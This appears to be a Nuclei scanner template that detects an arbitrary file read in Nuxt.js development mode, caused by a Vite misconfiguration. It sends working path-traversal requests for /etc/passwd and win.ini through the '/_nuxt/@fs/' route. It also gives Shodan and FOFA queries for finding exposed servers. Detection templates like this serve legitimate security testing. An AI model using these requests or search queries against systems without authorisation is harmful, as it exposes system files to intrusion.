id: nuxt-js-lfi

info:
  name: Arbitrary File Read in Dev Mode - Nuxt.js
  author: DhiyaneshDK
  severity: high
  description: |
    Vite is misconfigured within nuxt to permit any file to be retrieved from the file system.
  reference:
    - https://huntr.dev/bounties/4849af83-450c-435e-bc0b-71705f5be440/
    - https://bryces.io/blog/nuxt3
    - https://twitter.com/fofabot/status/1669339995780558849
  metadata:
    verified: "true"
    max-request: 2
    shodan-query: html:"buildAssetsDir" "nuxt"
    fofa-query: body="buildAssetsDir" && body="__nuxt"
  tags: huntr,lfi,nuxtjs

http:
  - method: GET
    path:
      - "{{BaseURL}}/_nuxt/@fs/etc/passwd"
      - "{{BaseURL}}/_nuxt/@fs/windows/win.ini"

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or
# digest: 4b0a00483046022100a49e550bada17453f43f159b70deaef949a9b792876e72646ce0f98c0dd5550d022100c4ec7a96f6fced396c8565579b5fd9133f999d2268922ef9d13b08317e48ffe8:922c64590222798bb761d5b6d8e72950